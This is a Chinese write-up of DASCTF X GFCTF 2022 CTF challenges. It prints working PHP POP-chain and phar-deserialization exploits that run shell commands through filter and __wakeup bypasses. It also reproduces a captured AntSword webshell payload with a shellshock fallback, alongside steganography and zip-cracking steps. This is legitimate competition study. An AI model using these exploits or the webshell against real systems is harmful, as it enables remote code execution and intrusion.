DASCTF X GFCTF
2022十月挑战赛(复现)
WEB
EasyPop
POP利用链,查看题目源码:
<?php highlight_file (__FILE__ );error_reporting (0 );class fine private $cmd ; private $content ; public function __construct ($cmd , $content ) { $this ->cmd = $cmd ; $this ->content = $content ; } public function __invoke ( ) { call_user_func ($this ->cmd, $this ->content); } public function __wakeup ( ) { $this ->cmd = "" ; die ("Go listen to Jay Chou's secret-code! Really nice" ); } } class show { public $ctf ; public $time = "Two and a half years" ; public function __construct ($ctf ) { $this ->ctf = $ctf ; } public function __toString ( ) { return $this ->ctf->show (); } public function show ( ): string { return $this ->ctf . ": Duration of practice: " . $this ->time; } } class sorry { private $name ; private $password ; public $hint = "hint is depend on you" ; public $key ; public function __construct ($name , $password ) { $this ->name = $name ; $this ->password = $password ; } public function __sleep ( ) { $this ->hint = new secret_code (); } public function __get ($name ) { $name = $this ->key; $name (); } public function __destruct ( ) { if ($this ->password == $this ->name) { echo $this ->hint; } else if ($this ->name = "jay" ) { secret_code::secret (); } else { echo "This is our code" ; } } public function getPassword ( ) { return $this ->password; } public function setPassword ($password ): void { $this ->password = $password ; } } class secret_code { protected $code ; public static function secret ( ) { include_once "hint.php" ; hint (); } public function __call ($name , $arguments ) { $num = $name ; $this ->$num (); } private function show ( ) { return $this ->code->secret; } } if (isset ($_GET ['pop' ])) { $a = unserialize ($_GET ['pop' ]); $a ->setPassword (md5 (mt_rand ())); } else { $a = new show ("Ctfer" ); echo $a ->show (); } ?>
审计代码,POP链的开端为echo $this->hint;
最终利用点为call_user_func($this->cmd, $this->content);
$this->hint;```下一步要到```__toString()```,即```show```类;```__toString()```中调用了`show()`函数,明显是`secret_code`类中的`show()`函数 ```php sorry::__destruct()->show::__toString()->secret_code::__call()->secret_code::show()->sorry::__get()->fine::__invoke()
该题目还有php弱比较的知识点,以及绕过__wakeup()
函数知识点,题目质量很高!
exp:
<?php class fine { private $cmd ; private $content ; public function __construct ($cmd , $content ) { $this ->cmd = $cmd ; $this ->content = $content ; } public function __invoke ( ) { call_user_func ($this ->cmd, $this ->content); } public function __wakeup ( ) { $this ->cmd = "" ; die ("Go listen to Jay Chou's secret-code! Really nice" ); } } class show { public $ctf ; public $time = "Two and a half years" ; public function __construct ($ctf ) { $this ->ctf = $ctf ; } public function __toString ( ) { return $this ->ctf->show (); } public function show ( ): string { return $this ->ctf . ": Duration of practice: " . $this ->time; } } class sorry { private $name ; private $password ; public $hint = "hint is depend on you" ; public $key ; public function __construct ($name , $password ,$key , $hint ) { $this ->key = $key ; $this ->hint = $hint ; $this ->name = $name ; $this ->password = $password ; } public function __get ($name ) { $name = $this ->key; $name (); } public function __destruct ( ) { if ($this ->password == $this ->name) { echo $this ->hint; } else if ($this ->name = "jay" ) { secret_code::secret (); } else { echo "This is our code" ; } } public function getPassword ( ) { return $this ->password; } public function setPassword ($password ): void { $this ->password = $password ; } } class secret_code { protected $code ; public function __construct ($code ) { $this ->code = $code ; } public static function secret ( ) { ; } public function __call ($name , $arguments ) { $num = $name ; $this ->$num (); } private function show ( ) { return $this ->code->secret; } } $a = new sorry (true ,'1' ,"" ,"" );$a ->hint = new show (new secret_code (new sorry ("1" ,"1" ,new fine ("system" ,"cat /flag" ),"" )));$content = serialize ($a );$content = str_replace ('fine":2' ,'fine":3' ,$content );echo (urlencode ($content ))?>
image-20230126005459373
hade_waibo
题目中有文件上传、文件读取功能,文件读取存在路径穿越,能读取任意文件,因此将题目源码全部都出,在文件读取的图片内容处能看到base64加密的内容
<!DOCTYPE html> <html lang="en" class ="no -js "> <head > <meta charset ="UTF -8" /> <meta http -equiv ="X -UA -Compatible " content ="IE =edge "> <meta name ="viewport " content ="width =device -width , initial -scale =1"> <title >login </title > <link rel ="stylesheet " type ="text /css " href ="css /button .css " /> <link rel ="stylesheet " type ="text /css " href ="css /button .min .css " /> <link rel ="stylesheet " type ="text /css " href ="css /input .css " /> <style > .show { text-align:center; margin-left:auto; margin-right:auto; margin-top:240 px; } .run{ text-align:right; margin-left:auto; margin-right:auto; } </style> </head> <body> <div class ="run "> <div class ="ui animated button " tabindex ="0" onclick ="window .location .href ='file .php ?m =logout '"> <div class ="hidden content "> <font style ="vertical -align : inherit ;"> <font style ="vertical -align : inherit ;">润!</font > </font > </div > <div class ="visible content "> <font style ="vertical -align : inherit ;"> <font style ="vertical -align : inherit ;">🏃</font > </font > </div > </div > </div > <div class ="show "> <?php error_reporting (0);session_start ();include 'class .php ';if ($_SESSION ['isLogin '] !== true ) { die ("<script>alert('号登一下谢谢。');location.href='index.php'</script>" ); } $form = ' <form action="file.php?m=upload" method="post" enctype="multipart/form-data" > <input type="file" name="file"> <button class="mini ui button" ><font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> 提交 </font></font></button> </form>' ;$file = new file ();switch ($_GET ['m' ]) { case 'upload' : if (empty ($_FILES )){die ($form );} $type = end (explode ("." , $_FILES ['file' ]['name' ])); if ($file ->check ($type )) { die ($file ->upload ($type )); }else { die ('你食不食油饼🤬' ); } break ; case 'show' : die ($file ->show ($_GET ['filename' ])); break ; case 'rm' : $file ->rmfile (); die ("全删干净了捏😋" ); break ; case 'logout' : session_destroy (); die ("<script>alert('已退出登录');location.href='index.php'</script>" ); break ; default : echo '<h2>Halo! ' .$_SESSION ['username' ].'</h2>' ; break ; } ?> <div class ="ui animated button " tabindex ="0" onclick ="window .location .href ='file .php ?m =upload '"> <div class ="visible content "> <font style ="vertical -align : inherit ;"> <font style ="vertical -align : inherit ;">来点😍图</font > </font > </div > <div class ="hidden content "> <font style ="vertical -align : inherit ;">🥵</font > </font > </div > </div > <div class ="ui vertical animated button " tabindex ="0" onclick ="window .location .href ='file .php ?m =rm '"> <div class ="hidden content "> <font style ="vertical -align : inherit ;"> <font style ="vertical -align : inherit ;">销毁证据</font > </font > </div > <div class ="visible content "> <font style ="vertical -align : inherit ;"> <font style ="vertical -align : inherit ;">🧹</font > </font > </div > </div > <div class ="ui animated fade button " tabindex ="0" onclick ="window .location .href ='file .php ?m =show '"> <div class ="visible content "> <font style ="vertical -align : inherit ;"> <font style ="vertical -align : inherit ;">cancan need </font > </font > </div > <div class ="hidden content "> <font style ="vertical -align : inherit ;"> <font style ="vertical -align : inherit ;">👀</font > </font > </div > </div > <script src ="js /package .js "></script > </div > </body > </html >
<!DOCTYPE html> <html lang="en" class ="no -js "> <head > <meta charset ="UTF -8" /> <meta http -equiv ="X -UA -Compatible " content ="IE =edge "> <meta name ="viewport " content ="width =device -width , initial -scale =1"> <title >login </title > <link rel ="stylesheet " type ="text /css " href ="css /button .css " /> <link rel ="stylesheet " type ="text /css " href ="css /button .min .css " /> <link rel ="stylesheet " type ="text /css " href ="css /input .css " /> <style > body { text-align:center; margin-left:auto; margin-right:auto; margin-top:300 px; } </style> </head> <body> <?php error_reporting (0 );session_start ();include 'class.php' ;if (isset ($_POST ['username' ]) && $_POST ['username' ]!='' ){ $user = new User ($_POST ['username' ]); } if ($_SESSION ['isLogin' ]){ die ("<script>alert('Login success!');location.href='file.php'</script>" ); }else { die (' <form action="index.php" method="post"> <div class="ui input"> <input type="text" name="username" placeholder="Give me uname" maxlength="6"> </div> <form>' );}
<?php class User { public $username ; public function __construct ($username ) { $this ->username = $username ; $_SESSION ['isLogin' ] = True; $_SESSION ['username' ] = $username ; } public function __wakeup ( ) { $cklen = strlen ($_SESSION ["username" ]); if ($cklen != 0 and $cklen <= 6 ) { $this ->username = $_SESSION ["username" ]; } } public function __destruct ( ) { if ($this ->username == '' ) { session_destroy (); } } } class File { public $white = array ("jpg" ,"png" ); public function show ($filename ) { echo '<div class="ui action input"><input type="text" id="filename" placeholder="Search..."><button class="ui button" onclick="window.location.href=\'file.php?m=show&filename=\'+document.getElementById(\'filename\').value">Search</button></div><p>' ; if (empty ($filename )){die ();} return '<img src="data:image/png;base64,' .base64_encode (file_get_contents ($filename )).'" />' ; } public function upload ($type ) { $filename = "dasctf" .md5 (time ().$_FILES ["file" ]["name" ]).".$type " ; move_uploaded_file ($_FILES ["file" ]["tmp_name" ], "upload/" . $filename ); return "Upload success! Path: upload/" . $filename ; } public function rmfile ( ) { system ('rm -rf /var/www/html/upload/*' ); } public function check ($type ) { if (!in_array ($type ,$this ->white)){ return false ; } return true ; } } class Test { public $value ; public function __destruct ( ) { chdir ('./upload' ); $this ->backdoor (); } public function __wakeup ( ) { $this ->value = "Don't make dream.Wake up plz!" ; } public function __toString ( ) { $file = substr ($_GET ['file' ],0 ,3 ); file_put_contents ($file , "Hack by $file !" ); return 'Unreachable! :)' ; } public function backdoor ( ) { if (preg_match ('/[A-Za-z0-9?$@]+/' , $this ->value)){ $this ->value = 'nono~' ; } system ($this ->value); } }
阅读源码,能发现Test类中的backdoor方法能进行利用,__destruct()
方法中能进行调用。if ($this->username == '')
能触发__toString()
方法
有文件上传,文件读取,以及白名单过滤,所以可以考虑phar反序列化
Test
类中的value
值要求能受控制,而能控制的值只有User
类中的username
的值,而且,value
的值在__wakeup()
中发生了改变,所以要绕过,通常的修改属性数量的方法在phar文件中不容易实现(需要重新计算签名),所以使用引用的方法绕过,即让value
的值指向username
的地址值。
最后就是system()
函数的利用,过滤了数字与字母,绕过的方法也有挺多,先写第一种:
system(. ./*)
:
首先了解bash
指令中.
的作用,简单来讲.
相当于source
指令,可以将一个文件内的内容当成bash
指令进行执行。
于是利用的想法为,上传一个内容为:
的jpg
文件
image-20230210021212118
然后使用phar反序列化执行system()
函数,value
的值就是用户名,即注册的名字就使用. ./*
,
phar文件的制作:
<?php class User { public $username ; } class Test { public $value ; } $b =new User ();$a =new Test ();$b ->username=new Test ();$b ->aaa=$a ;$a ->value=&$b ->username;$phar = new Phar ("phar.phar" );$phar ->startBuffering ();$phar ->setStub ("<?php __HALT_COMPILER(); ?>" );$phar ->setMetadata ($b );$phar ->addFromString ("test.txt" , "test" );$phar ->stopBuffering ();?>
注意: 要将$a的值赋给$b的一个不存在的属性,这样子value的引用才能成功,不然序列化后value的值为N
,而不是R
将得到的phar文件改后缀为jpg上传
image-20230210021445192
最后使用phar伪协议读取返回的phar文件的路径
image-20230210021619182
修改jpg中的指令就可以读取flag文件
下面写第二种,也是官方wp中的方法(官方wp写的太简单了,很多细节都没有写出来):
system(* /*)
:
*
号作用是获取当前目录文件名作为指令的。所以要写一个名字为cat
的文件,__toString()
方法中能通过file
参数设定文件名进行写文件
想要触发__toString()
,就要用到User
类的__destruct()
的判断,但是User
类的__wakeup()
中会改变username
的值,所以要绕过if
条件,即抓包将username
改成数组再传参
接着就是触发backdoor()
方法(方法同上)
首先是注册用户,并且将名字改成数组
image-20230210221623516
接着,制作phar文件,exp如下(官方给的exp):
<?php class User {public $username ;} class Test {public $value ;} $User = new User ();$Test = new Test ();$Test ->a = $User ;$User ->username = $Test ;echo serialize ($Test );$phar = new Phar ("test.phar" );$phar ->startBuffering ();$phar ->setStub ("GIF89a" ."<?php __HALT_COMPILER(); ?>" );$phar -> addFromString ('test.txt' ,'test' );$phar ->setMetadata ($Test );$phar ->stopBuffering ();
然后将得到的phar改成jpg后缀,上传,然后在搜索框使用phar伪协议读取,并且附上file=cat
参数
image-20230210222000411
image-20230210222125867
下一步注销用户,在注册一个名为* /*
的用户,根据第二条反序列化链,制作phar文件
exp:
<?php class User {public $username ;} class Test {public $value ;} $User = new User ();$Test = new Test ();$User ->a = $Test ;$User ->username = &$Test ->value;echo serialize ($User );$phar = new Phar ("test.phar" );$phar ->startBuffering ();$phar ->setStub ("GIF89a" ."<?php __HALT_COMPILER(); ?>" );$phar -> addFromString ('test.txt' ,'test' );$phar ->setMetadata ($User );$phar ->stopBuffering ();
改后缀后上传,再使用伪协议读取
image-20230210222519499
非预期:
直接读取../../../../../../../../../../../start.sh
,能看到flag文件的文件名,直接读取
MISC
滴滴图
给出的文件有一张图片和加密的压缩包,首先使用winhex查看图片数据,在末端有Unicode编码,还有一个2.png的字段,可能需要进行文件分离,使用binwalk分离
image-20230126225944573
binwalk -e honest_dog.jpg
得到下面几个文件:
image-20230126230049010
unicode解码为:this_is_paSS
,成功打开23FCBF.zip,里面又有一张png图片,直接拿去爆破图片高度宽度
image-20230126230226187
到winhex中修改高度,得到图片:
成功打开一开始的压缩包,得到一段音频,直接拖到Audacity中查看:
image-20230126230527687
大概率是morse密码,但是分了左右声道,两个分开解出来:
左声道是:746F5F62655F6374666572
右声道是:BM9FBM9FBM9FBM9FBM9FBM9FBM8F
左声道直接hex转utf-8得到to_be_ctfer
,右声道无意义,flag为DASCTF{to_be_ctfer}
poi?qoi!
没见过的文件,搜一下qoi:这个文章 有相关内容
“其中结束串由 7 个 0 和 1 个 1 (共 8 个字节)组成 ”
image-20230219140204787
可以确定是qoi格式的图像,找个网站解码一下:qoi解码
得到一张二维码:
但是扫出来是假的,wp说还有一个lsb,直接开StegSolve,在Gray
bits发现不一样的二维码,直接扫就出来了
image-20230219140846591
DASCTF{Y0u_f1nd_re4l_QR_Cod3_w0W}
easy_xxd
拿到文件是流量包分析,先列出流量文件
image-20230220002004321
将flag.txt
与maybe_today.zip
两个文件导出来,再去查看shell.php的流量信息(根据上图的分组号去看),能发现是蚁剑的流量,重点是最后的shell.php的流量内容
POST /shell.php HTTP/1.1 Host: 192.168.153.128 Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.1 Safari/537.36 Content-Type: application/x-www-form-urlencoded Content-Length: 4946 Connection: close g0f49a7f453a2e=wdY2QgIi93d3cvYWRtaW4vbG9jYWxob3N0XzgwL3d3d3Jvb3QiO3h4ZCAtcyAweDA4IC1wIC93d3cvYWRtaW4vbG9jYWxob3N0XzgwL3d3d3Jvb3QvTWlrdS5wbmd8YmFzZTY0PmZsYWcudHh0O2VjaG8gMzFhODM7cHdkO2VjaG8gMjk5ZWNkNWNkYg==&s2f57bf194897a=zdL2Jpbi9zaA==&shell=@ini_set("display_errors", "0");@set_time_limit(0);$opdir=@ini_get("open_basedir");if($opdir) {$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);$oparr=preg_split("/;|:/",$opdir);@array_push($oparr,$ocwd,sys_get_temp_dir());foreach($oparr as $item) {if(!@is_writable($item)){continue;};$tmdir=$item."/.722722";@mkdir($tmdir);if(!@file_exists($tmdir)){continue;}@chdir($tmdir);@ini_set("open_basedir", "..");$cntarr=@preg_split("/\\\\|\//",$tmdir);for($i=0;$i<sizeof($cntarr);$i++){@chdir("..");};@ini_set("open_basedir","/");@rmdir($tmdir);break;};};;function asenc($out){return $out;};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "6d"."fcb";echo @asenc($output);echo "8c2"."fa8";}ob_start();try{$p=base64_decode(substr($_POST["s2f57bf194897a"],2));$s=base64_decode(substr($_POST["g0f49a7f453a2e"],2));$envstr=@base64_decode(substr($_POST["v09c646ce6cb4a"],2));$d=dirname($_SERVER["SCRIPT_FILENAME"]);$c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";if(substr($d,0,1)=="/"){@putenv("PATH=".getenv("PATH").":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");}else{@putenv("PATH=".getenv("PATH").";C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;");}if(!empty($envstr)){$envarr=explode("|||asline|||", $envstr);foreach($envarr as $v) {if (!empty($v)) {@putenv(str_replace("|||askey|||", "=", $v));}}}$r="{$p} {$c}";function fe($f){$d=explode(",",@ini_get("disable_functions"));if(empty($d)){$d=array();}else{$d=array_map('trim',array_map('strtolower',$d));}return(function_exists($f)&&is_callable($f)&&!in_array($f,$d));};function runshellshock($d, $c) {if (substr($d, 0, 1) == "/" && fe('putenv') && (fe('error_log') || fe('mail'))) {if (strstr(readlink("/bin/sh"), "bash") != FALSE) {$tmp = tempnam(sys_get_temp_dir(), 'as');putenv("PHP_LOL=() { x; }; $c >$tmp 2>&1");if (fe('error_log')) {error_log("a", 1);} else {mail("a@127.0.0.1", "", "", "-bv");}} else {return False;}$output = @file_get_contents($tmp);@unlink($tmp);if ($output != "") {print($output);return True;}}return False;};function runcmd($c){$ret=0;$d=dirname($_SERVER["SCRIPT_FILENAME"]);if(fe('system')){@system($c,$ret);}elseif(fe('passthru')){@passthru($c,$ret);}elseif(fe('shell_exec')){print(@shell_exec($c));}elseif(fe('exec')){@exec($c,$o,$ret);print(join(" ",$o));}elseif(fe('popen')){$fp=@popen($c,'r');while(!@feof($fp)){print(@fgets($fp,2048));}@pclose($fp);}elseif(fe('proc_open')){$p = @proc_open($c, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io);while(!@feof($io[1])){print(@fgets($io[1],2048));}while(!@feof($io[2])){print(@fgets($io[2],2048));}@fclose($io[1]);@fclose($io[2]);@proc_close($p);}elseif(fe('antsystem')){@antsystem($c);}elseif(runshellshock($d, $c)) {return $ret;}elseif(substr($d,0,1)!="/" && @class_exists("COM")){$w=new COM('WScript.shell');$e=$w->exec($c);$so=$e->StdOut();$ret.=$so->ReadAll();$se=$e->StdErr();$ret.=$se->ReadAll();print($ret);}else{$ret = 127;}return $ret;};$ret=@runcmd($r." 2>&1");print ($ret!=0)?"ret={$ret}":"";;}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die();&v09c646ce6cb4a=LI
注意: 要仔细看shell的内容,命令执行是经过bs64加密的但是不是全部都是,而是要去除前两个字符再bs64解密,即
$s=base64_decode(substr($_POST["g0f49a7f453a2e"],2));
所以将wdY2QgIi93d3cvYWRtaW4vbG9jYWxob3N0XzgwL3d3d3Jvb3QiO3h4ZCAtcyAweDA4IC1wIC93d3cvYWRtaW4vbG9jYWxob3N0XzgwL3d3d3Jvb3QvTWlrdS5wbmd8YmFzZTY0PmZsYWcudHh0O2VjaG8gMzFhODM7cHdkO2VjaG8gMjk5ZWNkNWNkYg==
这一串去掉前两个字符再bs64解密
得到:
cd "/www/admin/localhost_80/wwwroot" ;xxd -s 0x08 -p /www/admin/localhost_80/wwwroot/Miku.png|base64>flag.txt;echo 31a83;pwd ;echo 299ecd5cdb
检索可知,xxd
命令能将一个给定文件或标准输入转换为十六进制形式,也能将十六进制转换回二进制形式,-s
是偏移量,png文件的头8位十六进制是固定的89 50 4E 47 0D 0A 1A 0A
,所以flag.txt的内容是png文件的16进制经过bs64加密后的内容
用脚本解密,并且拼上头8位,还原图片
import base64f = open ("flag1.txt" , 'r' ) content = f.readlines() f.close() tmp = open ("temp.txt" , 'wb+' ) tmp.write(b'89504E470D0A1A0A' ) for i in content: line_content = base64.b64decode(i).replace(b'\n' , b'' ) tmp.write(line_content) tmp.close() tmp = open ("temp.txt" ,'r' ) f_png = open ("flag.png" , "wb+" ) f_png.write(bytes .fromhex(tmp.read())) tmp.close() f_png.close()
生成指令中指出是MiKu.png,而在流量里导出的压缩包里也有一张MiKu.png,可以尝试明文攻击(通过bs64解出来的图片要经过多种压缩软件的尝试来进行攻击,最后是bandzip才符合):
image-20230222131949678
解出后打开压缩包,flag文件夹里面的几个文件是MySQL数据库的数据文件,将四个文件复制粘贴到MySQL的数据文件夹里面,然后打开MySQL查询就能查看
image-20230222232358711
image-20230222232442484
拿去解base64后发现16进制数据是50 4B 03 04
开头,可能是zip文件,用winhex将16进制数据保存为压缩包
image-20230222232646621
需要密码才能打开,又在js文件夹里面的SceneManager.js文件中发现
成解开压缩包,打开里面的flag.txt,将里面的内容用兽音译者 +base64+hex解码得到flag
dasctf{l0ve_you_want_l0ve}